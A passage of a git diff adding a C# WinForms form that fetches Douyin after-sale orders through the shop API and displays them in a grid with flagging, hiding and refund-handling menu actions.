System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buy_ordertime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.order_id_buy = new System.Windows.Forms.DataGridViewLinkColumn(); + this.buy_user = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buy_user_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.return_logistics_company_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.return_logistics_code = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_refund_status_buy = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_aftersale_type = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.aftersale_stutas = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.return_paytype = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.refund_status = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.afterSaleMsg = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.apply_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.update_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.aftersale_order_type = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.aftersale_pay_amount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.aftersale_post_amount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.got_pkg = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buymsg = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.aftersalemark = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.contextMenuStrip1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.DgvSaleOrderList)).BeginInit(); + this.SuspendLayout(); + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.编辑ToolStripMenuItem, + this.更新订单ToolStripMenuItem, + this.订单插旗ToolStripMenuItem, + this.修改备注ToolStripMenuItem, + this.处理售后ToolStripMenuItem, + this.退货退款ToolStripMenuItem, + this.上家订单ToolStripMenuItem, + this.隐藏该订单ToolStripMenuItem, + this.显示所有隐藏售后ToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(173, 202); + this.contextMenuStrip1.VisibleChanged += new System.EventHandler(this.contextMenuStrip1_VisibleChanged); + // + // 编辑ToolStripMenuItem + // + this.编辑ToolStripMenuItem.Name = "编辑ToolStripMenuItem"; + this.编辑ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.编辑ToolStripMenuItem.Text = "编辑"; + this.编辑ToolStripMenuItem.Click += new System.EventHandler(this.编辑ToolStripMenuItem_Click); + // + // 更新订单ToolStripMenuItem + // + this.更新订单ToolStripMenuItem.Name = "更新订单ToolStripMenuItem"; + this.更新订单ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.更新订单ToolStripMenuItem.Text = "更新订单"; + this.更新订单ToolStripMenuItem.Click += new System.EventHandler(this.afterSaleOrderMenu_Click); + // + // 订单插旗ToolStripMenuItem + // + this.订单插旗ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.灰色ToolStripMenuItem, + this.紫色ToolStripMenuItem, + this.蓝色ToolStripMenuItem, + this.绿色ToolStripMenuItem, + this.橙色ToolStripMenuItem, + this.红色ToolStripMenuItem}); + this.订单插旗ToolStripMenuItem.Name = "订单插旗ToolStripMenuItem"; + this.订单插旗ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.订单插旗ToolStripMenuItem.Text = "订单插旗"; + // + // 灰色ToolStripMenuItem + // + this.灰色ToolStripMenuItem.Name = "灰色ToolStripMenuItem"; + this.灰色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.灰色ToolStripMenuItem.Text = "灰色"; + this.灰色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 紫色ToolStripMenuItem + // + this.紫色ToolStripMenuItem.Name = "紫色ToolStripMenuItem"; + this.紫色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.紫色ToolStripMenuItem.Text = "紫色"; + this.紫色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 蓝色ToolStripMenuItem + // + this.蓝色ToolStripMenuItem.Name = "蓝色ToolStripMenuItem"; + this.蓝色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.蓝色ToolStripMenuItem.Text = "蓝色"; + this.蓝色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 绿色ToolStripMenuItem + // + this.绿色ToolStripMenuItem.Name = "绿色ToolStripMenuItem"; + this.绿色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.绿色ToolStripMenuItem.Text = "绿色"; + this.绿色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 橙色ToolStripMenuItem + // + this.橙色ToolStripMenuItem.Name = "橙色ToolStripMenuItem"; + this.橙色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.橙色ToolStripMenuItem.Text = "橙色"; + this.橙色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 红色ToolStripMenuItem + // + this.红色ToolStripMenuItem.Name = "红色ToolStripMenuItem"; + this.红色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.红色ToolStripMenuItem.Text = "红色"; + this.红色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 修改备注ToolStripMenuItem + // + this.修改备注ToolStripMenuItem.Name = "修改备注ToolStripMenuItem"; + this.修改备注ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.修改备注ToolStripMenuItem.Text = "修改备注"; + this.修改备注ToolStripMenuItem.Visible = false; + this.修改备注ToolStripMenuItem.Click += new System.EventHandler(this.修改备注ToolStripMenuItem_Click); + // + // 处理售后ToolStripMenuItem + // + this.处理售后ToolStripMenuItem.Name = "处理售后ToolStripMenuItem"; + this.处理售后ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.处理售后ToolStripMenuItem.Text = "处理售后"; + this.处理售后ToolStripMenuItem.Click += new System.EventHandler(this.处理售后ToolStripMenuItem_Click); + // + // 退货退款ToolStripMenuItem + // + this.退货退款ToolStripMenuItem.Name = "退货退款ToolStripMenuItem"; + this.退货退款ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.退货退款ToolStripMenuItem.Text = "退货退款"; + this.退货退款ToolStripMenuItem.Click += new System.EventHandler(this.退货退款ToolStripMenuItem_Click); + // + // 上家订单ToolStripMenuItem + // + this.上家订单ToolStripMenuItem.Name = "上家订单ToolStripMenuItem"; + this.上家订单ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.上家订单ToolStripMenuItem.Text = "上家订单"; + this.上家订单ToolStripMenuItem.Click += new System.EventHandler(this.上家订单ToolStripMenuItem_Click); + // + // 隐藏该订单ToolStripMenuItem + // + this.隐藏该订单ToolStripMenuItem.Name = "隐藏该订单ToolStripMenuItem"; + this.隐藏该订单ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.隐藏该订单ToolStripMenuItem.Text = "隐藏这条售后"; + this.隐藏该订单ToolStripMenuItem.Click += new System.EventHandler(this.隐藏该订单ToolStripMenuItem_Click); + // + // 显示所有隐藏售后ToolStripMenuItem + // + this.显示所有隐藏售后ToolStripMenuItem.Name = "显示所有隐藏售后ToolStripMenuItem"; + this.显示所有隐藏售后ToolStripMenuItem.Size = new System.Drawing.Size(172, 22); + this.显示所有隐藏售后ToolStripMenuItem.Text = "显示所有隐藏售后"; + this.显示所有隐藏售后ToolStripMenuItem.Visible = false; + this.显示所有隐藏售后ToolStripMenuItem.Click += new System.EventHandler(this.显示隐藏售后ToolStripMenuItem_Click); + // + // DgvSaleOrderList + // + this.DgvSaleOrderList.AllowUserToAddRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.DgvSaleOrderList.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.DgvSaleOrderList.BackgroundColor = System.Drawing.Color.White; + this.DgvSaleOrderList.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvSaleOrderList.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.DgvSaleOrderList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.DgvSaleOrderList.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_aftersale_id, + this.col_shop_name, + this.shopId, + this.col_up_product_id, + this.col_product_id, + this.col_title, + this.productSku, + this.aftersale_item_num, + this.productprice, + this.promotion_pay_amount, + this.pay_amount, + this.post_amount, + this.aftersalestatus, + this.col_order_id, + this.item_num, + this.buy_ordertime, + this.order_id_buy, + this.buy_user, + this.buy_user_id, + this.return_logistics_company_name, + this.return_logistics_code, + this.col_refund_status_buy, + this.col_aftersale_type, + this.aftersale_stutas, + this.return_paytype, + this.refund_status, + this.afterSaleMsg, + this.apply_time, + this.update_time, + this.aftersale_order_type, + this.aftersale_pay_amount, + this.aftersale_post_amount, + this.got_pkg, + this.buymsg, + this.aftersalemark}); + this.DgvSaleOrderList.ContextMenuStrip = this.contextMenuStrip1; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvSaleOrderList.DefaultCellStyle = dataGridViewCellStyle3; + this.DgvSaleOrderList.Dock = System.Windows.Forms.DockStyle.Fill; + this.DgvSaleOrderList.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.DgvSaleOrderList.IsCustomSort = false; + this.DgvSaleOrderList.Location = new System.Drawing.Point(0, 0); + this.DgvSaleOrderList.Name = "DgvSaleOrderList"; + this.DgvSaleOrderList.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.DgvSaleOrderList.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.DgvSaleOrderList.RowTemplate.Height = 23; + this.DgvSaleOrderList.ShowCellToolTips = false; + this.DgvSaleOrderList.Size = new System.Drawing.Size(800, 450); + this.DgvSaleOrderList.TabIndex = 1; + this.DgvSaleOrderList.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvAfterSaleOrderList_CellContentClick); + this.DgvSaleOrderList.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dgvAfterSaleOrderList_CellMouseDown); + this.DgvSaleOrderList.CellMouseEnter += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvAfterSaleOrderList_CellMouseEnter); + this.DgvSaleOrderList.CellMouseLeave += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvAfterSaleOrderList_CellMouseLeave); + this.DgvSaleOrderList.MouseDown += new System.Windows.Forms.MouseEventHandler(this.DgvSaleOrderList_MouseDown); + // + // col_aftersale_id + // + this.col_aftersale_id.HeaderText = "售后订单编号"; + this.col_aftersale_id.Name = "col_aftersale_id"; + this.col_aftersale_id.ReadOnly = true; + this.col_aftersale_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_aftersale_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // col_shop_name + // + this.col_shop_name.HeaderText = "店铺名称"; + this.col_shop_name.Name = "col_shop_name"; + this.col_shop_name.ReadOnly = true; + // + // shopId + // + this.shopId.HeaderText = "店铺编号"; + this.shopId.Name = "shopId"; + this.shopId.ReadOnly = true; + // + // col_up_product_id + // + this.col_up_product_id.HeaderText = "上家ID"; + this.col_up_product_id.Name = "col_up_product_id"; + this.col_up_product_id.ReadOnly = true; + this.col_up_product_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // col_product_id + // + this.col_product_id.HeaderText = "本店ID"; + this.col_product_id.Name = "col_product_id"; + this.col_product_id.ReadOnly = true; + this.col_product_id.Width = 120; + // + // col_title + // + this.col_title.HeaderText = "商品名称"; + this.col_title.Name = "col_title"; + this.col_title.ReadOnly = true; + // + // productSku + // + this.productSku.HeaderText = "规格"; + this.productSku.Name = "productSku"; + this.productSku.ReadOnly = true; + // + // aftersale_item_num + // + this.aftersale_item_num.HeaderText = "售后商品数量"; + this.aftersale_item_num.Name = "aftersale_item_num"; + this.aftersale_item_num.ReadOnly = true; + this.aftersale_item_num.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // productprice + // + this.productprice.HeaderText = "商品金额"; + this.productprice.Name = "productprice"; + this.productprice.ReadOnly = true; + this.productprice.Width = 80; + // + // promotion_pay_amount + // + this.promotion_pay_amount.HeaderText = "优惠金额"; + this.promotion_pay_amount.Name = "promotion_pay_amount"; + this.promotion_pay_amount.ReadOnly = true; + this.promotion_pay_amount.Width = 80; + // + // pay_amount + // + this.pay_amount.HeaderText = "付款金额"; + this.pay_amount.Name = "pay_amount"; + this.pay_amount.ReadOnly = true; + this.pay_amount.Width = 80; + // + // post_amount + // + this.post_amount.HeaderText = "物流金额"; + this.post_amount.Name = "post_amount"; + this.post_amount.ReadOnly = true; + this.post_amount.Width = 80; + // + // aftersalestatus + // + this.aftersalestatus.HeaderText = "订单状态"; + this.aftersalestatus.Name = "aftersalestatus"; + this.aftersalestatus.ReadOnly = true; + // + // col_order_id + // + this.col_order_id.HeaderText = "订单号"; + this.col_order_id.Name = "col_order_id"; + this.col_order_id.ReadOnly = true; + this.col_order_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_order_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_order_id.Width = 130; + // + // item_num + // + this.item_num.HeaderText = "购买数量"; + this.item_num.Name = "item_num"; + this.item_num.ReadOnly = true; + // + // buy_ordertime + // + this.buy_ordertime.HeaderText = "拍单时间"; + this.buy_ordertime.Name = "buy_ordertime"; + this.buy_ordertime.ReadOnly = true; + // + // order_id_buy + // + this.order_id_buy.HeaderText = "拍单订单号"; + this.order_id_buy.Name = "order_id_buy"; + this.order_id_buy.ReadOnly = true; + this.order_id_buy.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.order_id_buy.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // buy_user + // + this.buy_user.HeaderText = "买手号"; + this.buy_user.Name = "buy_user"; + this.buy_user.ReadOnly = true; + // + // buy_user_id + // + this.buy_user_id.HeaderText = "买手号ID"; + this.buy_user_id.Name = "buy_user_id"; + this.buy_user_id.ReadOnly = true; + this.buy_user_id.Visible = false; + // + // return_logistics_company_name + // + this.return_logistics_company_name.HeaderText = "退货物流公司"; + this.return_logistics_company_name.Name = "return_logistics_company_name"; + this.return_logistics_company_name.ReadOnly = true; + this.return_logistics_company_name.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // return_logistics_code + // + this.return_logistics_code.HeaderText = "退货物流单号"; + this.return_logistics_code.Name = "return_logistics_code"; + this.return_logistics_code.ReadOnly = true; + // + // col_refund_status_buy + // + this.col_refund_status_buy.HeaderText = "总店退款状态"; + this.col_refund_status_buy.Name = "col_refund_status_buy"; + this.col_refund_status_buy.ReadOnly = true; + // + // col_aftersale_type + // + this.col_aftersale_type.HeaderText = "售后类型"; + this.col_aftersale_type.Name = "col_aftersale_type"; + this.col_aftersale_type.ReadOnly = true; + // + // aftersale_stutas + // + this.aftersale_stutas.HeaderText = "售后状态"; + this.aftersale_stutas.Name = "aftersale_stutas"; + this.aftersale_stutas.ReadOnly = true; + // + // return_paytype + // + this.return_paytype.HeaderText = "退款方式"; + this.return_paytype.Name = "return_paytype"; + this.return_paytype.ReadOnly = true; + // + // refund_status + // + this.refund_status.HeaderText = "退款状态"; + this.refund_status.Name = "refund_status"; + this.refund_status.ReadOnly = true; + // + // afterSaleMsg + // + this.afterSaleMsg.HeaderText = "退款原因"; + this.afterSaleMsg.Name = "afterSaleMsg"; + this.afterSaleMsg.ReadOnly = true; + // + // apply_time + // + this.apply_time.HeaderText = "申请售后时间"; + this.apply_time.Name = "apply_time"; + this.apply_time.ReadOnly = true; + // + // update_time + // + this.update_time.HeaderText = "最近更新时间"; + this.update_time.Name = "update_time"; + this.update_time.ReadOnly = true; + // + // aftersale_order_type + // + this.aftersale_order_type.HeaderText = "售后退款类型"; + this.aftersale_order_type.Name = "aftersale_order_type"; + this.aftersale_order_type.ReadOnly = true; + // + // aftersale_pay_amount + // + this.aftersale_pay_amount.HeaderText = "售后退款金额"; + this.aftersale_pay_amount.Name = "aftersale_pay_amount"; + this.aftersale_pay_amount.ReadOnly = true; + // + // aftersale_post_amount + // + this.aftersale_post_amount.HeaderText = "售后退运费金额"; + this.aftersale_post_amount.Name = "aftersale_post_amount"; + this.aftersale_post_amount.ReadOnly = true; + // + // got_pkg + // + this.got_pkg.HeaderText = "买家是否收到货"; + this.got_pkg.Name = "got_pkg"; + this.got_pkg.ReadOnly = true; + // + // buymsg + // + this.buymsg.HeaderText = "买家留言"; + this.buymsg.Name = "buymsg"; + this.buymsg.ReadOnly = true; + // + // aftersalemark + // + this.aftersalemark.HeaderText = "售后备注"; + this.aftersalemark.Name = "aftersalemark"; + this.aftersalemark.ReadOnly = true; + // + // AfterSaleOrderListForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.DgvSaleOrderList); + this.Name = "AfterSaleOrderListForm"; + this.Text = "AfterSaleOrderListForm"; + this.Load += new System.EventHandler(this.AfterSaleOrderListForm_Load); + this.contextMenuStrip1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.DgvSaleOrderList)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private MyControl.MyDataGridView DgvSaleOrderList; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem 更新订单ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 订单插旗ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 灰色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 紫色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 蓝色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 绿色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 橙色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 红色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 处理售后ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 上家订单ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 修改备注ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 编辑ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 隐藏该订单ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 显示所有隐藏售后ToolStripMenuItem; + private System.Windows.Forms.DataGridViewLinkColumn col_aftersale_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_name; + private System.Windows.Forms.DataGridViewTextBoxColumn shopId; + private System.Windows.Forms.DataGridViewTextBoxColumn col_up_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_title; + private System.Windows.Forms.DataGridViewTextBoxColumn productSku; + private System.Windows.Forms.DataGridViewTextBoxColumn aftersale_item_num; + private System.Windows.Forms.DataGridViewTextBoxColumn productprice; + private System.Windows.Forms.DataGridViewTextBoxColumn promotion_pay_amount; + private System.Windows.Forms.DataGridViewTextBoxColumn pay_amount; + private System.Windows.Forms.DataGridViewTextBoxColumn post_amount; + private System.Windows.Forms.DataGridViewTextBoxColumn aftersalestatus; + private System.Windows.Forms.DataGridViewLinkColumn col_order_id; + private System.Windows.Forms.DataGridViewTextBoxColumn item_num; + private System.Windows.Forms.DataGridViewTextBoxColumn buy_ordertime; + private System.Windows.Forms.DataGridViewLinkColumn order_id_buy; + private System.Windows.Forms.DataGridViewTextBoxColumn buy_user; + private System.Windows.Forms.DataGridViewTextBoxColumn buy_user_id; + private System.Windows.Forms.DataGridViewTextBoxColumn return_logistics_company_name; + private System.Windows.Forms.DataGridViewTextBoxColumn return_logistics_code; + private System.Windows.Forms.DataGridViewTextBoxColumn col_refund_status_buy; + private System.Windows.Forms.DataGridViewTextBoxColumn col_aftersale_type; + private System.Windows.Forms.DataGridViewTextBoxColumn aftersale_stutas; + private System.Windows.Forms.DataGridViewTextBoxColumn return_paytype; + private System.Windows.Forms.DataGridViewTextBoxColumn refund_status; + private System.Windows.Forms.DataGridViewTextBoxColumn afterSaleMsg; + private System.Windows.Forms.DataGridViewTextBoxColumn apply_time; + private System.Windows.Forms.DataGridViewTextBoxColumn update_time; + private System.Windows.Forms.DataGridViewTextBoxColumn aftersale_order_type; + private System.Windows.Forms.DataGridViewTextBoxColumn aftersale_pay_amount; + private System.Windows.Forms.DataGridViewTextBoxColumn aftersale_post_amount; + private System.Windows.Forms.DataGridViewTextBoxColumn got_pkg; + private System.Windows.Forms.DataGridViewTextBoxColumn buymsg; + private System.Windows.Forms.DataGridViewTextBoxColumn aftersalemark; + private System.Windows.Forms.ToolStripMenuItem 退货退款ToolStripMenuItem; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/AfterSaleOrderListForm.cs b/29WxOrder/OrderForms/AfterSaleOrderListForm.cs new file mode 100644 index 0000000..d26ce89 --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleOrderListForm.cs @@ -0,0 +1,1076 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Model.Result; +using _29WxOrder.BuyForms; +using _29WxOrder.ShopForms; +using NaiBa.Util; +using NaiBa.Util.Helper; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; +using Work.BuyUsers; +using static AllBase.DouYinModel.Result.DouYinAfterSaleOrderModel; + +namespace _29WxOrder.OrderForms +{ + public partial class AfterSaleOrderListForm : Form + { + public static List LstDouYinOrderModel = new List(); + public static List LstFinishedOrderId = new List(); + public static Dictionary DicHideAfterSaleOrder = new Dictionary(); + public static bool IsReadFinishedRefund = false; + + public AfterSaleOrderListForm() + { + InitializeComponent(); + } + public MainForm mainform; + private void AfterSaleOrderListForm_Load(object sender, EventArgs e) + { + DicHideAfterSaleOrder = ConfigHelper.LoadConfig>("hide_after_sale_order"); + if (DicHideAfterSaleOrder == null) + DicHideAfterSaleOrder = new Dictionary(); + if (DicHideAfterSaleOrder.Keys.Count > 0) + 显示所有隐藏售后ToolStripMenuItem.Visible = true; + + SetDgvHeaders(false); + readAfterSaleOrder(); + } + public void readAfterSaleOrder() + { + if (!isread) + { + DgvSaleOrderList.Rows.Clear(); + new Thread(ReaderList).Start(); + } + else + { + BaseMsgForm.ShowInfo("售后订单正在读取中", "提示"); + } + } + //读单中 + public bool isread = false; + string whereStatus = ","; + public void AfterSaleWhere(string status) + { + whereStatus = status; + for (int i = 0; i < DgvSaleOrderList.Rows.Count; i++) + { + AfterSaleDgvRowShowHideFilter(DgvSaleOrderList.Rows[i]); + } + } + + /// + /// 过滤显示隐藏表格行 + /// + /// + public void AfterSaleDgvRowShowHideFilter(DataGridViewRow row) + { + // 首页选项条件 + string aftersale_stutas = row.Cells["aftersale_stutas"].Value.ToString(); + if (whereStatus == "," || whereStatus.Contains(aftersale_stutas)) + { + row.Visible = true; + } + else + { + row.Visible = false; + } + + var afterSaleId = row.Cells["col_aftersale_id"].Value.ToString(); + if (!IsReadFinishedRefund && LstFinishedOrderId.Contains(afterSaleId)) + row.Visible = false; + else + row.Visible = true; + + // 右键隐藏的订单处理 + var orderId = row.Cells["col_order_id"].Value.ToString(); + if (DicHideAfterSaleOrder.Keys.Contains(orderId)) + { + row.Visible = false; + } + } + + void ReaderList() + { + LstFinishedOrderId.Clear(); + + isread = true; + foreach (var shop in CollectionClass.DouShopLoginList) + { + Invoke(new Action(() => { this.mainform.lblMsg.Text = "正在读取售后:" + shop.ShopName; })); + int size = 10; + int page = 0; + if (shop.ApiAuthStatus != "授权成功") + { + continue; + } + readerOrder: + DouyinApi apix = new DouyinApi(shop); + Dictionary dic = new Dictionary() { }; + DateTime dt = BaseClass.GetServerTimeString(); + dic["start_time"] = BaseClass.ConvertDateTimeInt(dt.AddDays(-60)).ToString(); + dic["end_time"] = BaseClass.ConvertDateTimeInt(dt).ToString(); + dic["size"] = size.ToString(); + dic["page"] = page.ToString(); + apix.JsonData = dic; + string html = apix.GetAfterSaleOrder(); + if (html == "") + { + continue; + } + if (JObject.Parse(html)["code"]?.ToString() != "10000") + { + continue; + } + + List orderListInfo = JsonConvert.DeserializeObject>(JObject.Parse(html)["data"]["items"].ToString().Replace("\r\n", "").Replace(" ", "")); + if (orderListInfo.Count == 0) + { + continue; + } + foreach (DouYinAfterSale afterSale in orderListInfo) + { + if (afterSale.aftersale_info.related_id == "4928822009813260015") + { + } + bool isGetBuyOrder = false; + string up_product_id = "", order_id_buy = "", buyer_mobile = "", buyer_mobile_uid = "", + order_refund_status_buy = "", order_buy_error_msg = "", order_remark = ""; + if (afterSale.aftersale_info.aftersale_status == 28) + { + continue; + } + if (afterSale.aftersale_info.aftersale_status == 12) + { + if (afterSale.aftersale_info.refund_type != 1) // 非极速退款的已完成订单直接标记 + { + LstFinishedOrderId.Add(afterSale.aftersale_info.aftersale_id); + } + else + { + // continue; + // 极速退款的判断总店是否拍单并退款,未退款暂时保留售后单 + string urlx = BaseClass.LoginApiUrl + "?obj=douyin/order&act=refund_up_info"; + string datax = UserLogin.GetSignaturex("", "") + "&order_id=" + afterSale.aftersale_info.related_id; + string html_x = GetHtml.PostUtf8(urlx, datax); + for (int i = 0; i < 10 && !html_x.Contains("\"code\":200"); i++) + { + Thread.Sleep(500); + urlx = BaseClass.LoginApiUrl + "?obj=douyin/order&act=refund_up_info"; + datax = UserLogin.GetSignaturex("", "") + "&order_id=" + afterSale.aftersale_info.related_id; + html_x = GetHtml.PostUtf8(urlx, datax); + } + isGetBuyOrder = true; + if (!string.IsNullOrEmpty(html_x) && html_x.Contains("\"code\":200")) + { + up_product_id = BaseRegex.GetStringJson(ref html_x, "up_product_id"); // 上家ID + order_id_buy = BaseRegex.GetStringJson(ref html_x, "order_id_buy"); // 拍单订单号 + buyer_mobile = BaseRegex.GetStringJson(ref html_x, "buyer_mobile"); // 买手号 + buyer_mobile_uid = BaseRegex.GetStringJson(ref html_x, "buyer_mobile_uid"); // 买手号ID + order_refund_status_buy = BaseRegex.GetStringJson(ref html_x, "order_refund_status_buy"); // 买手号售后状态 + order_remark = BaseRegex.GetStringJson(ref html_x, "remark"); + if (string.IsNullOrEmpty(order_id_buy) || order_refund_status_buy == "2") + { + LstFinishedOrderId.Add(afterSale.aftersale_info.aftersale_id); + } + } + } + } + + if (afterSale.aftersale_info.related_id == "4929052533605203291") + { + } + if (afterSale.aftersale_info.related_id == "4927702870195139677") + { + } + if (!isGetBuyOrder) + { + string urlx = BaseClass.LoginApiUrl + "?obj=douyin/order&act=refund_up_info"; + string datax = "&order_id=" + afterSale.aftersale_info.related_id; + string html_x = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + for (int i = 0; i < 5 && html_x?.Contains("\"code\":200") != true; i++) + { + Thread.Sleep(500); + html_x = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + } + if (!string.IsNullOrEmpty(html_x) && html_x.Contains("\"code\":200")) + { + isGetBuyOrder = true; + up_product_id = BaseRegex.GetStringJson(ref html_x, "up_product_id"); // 上家ID + order_id_buy = BaseRegex.GetStringJson(ref html_x, "order_id_buy"); // 拍单订单号 + buyer_mobile = 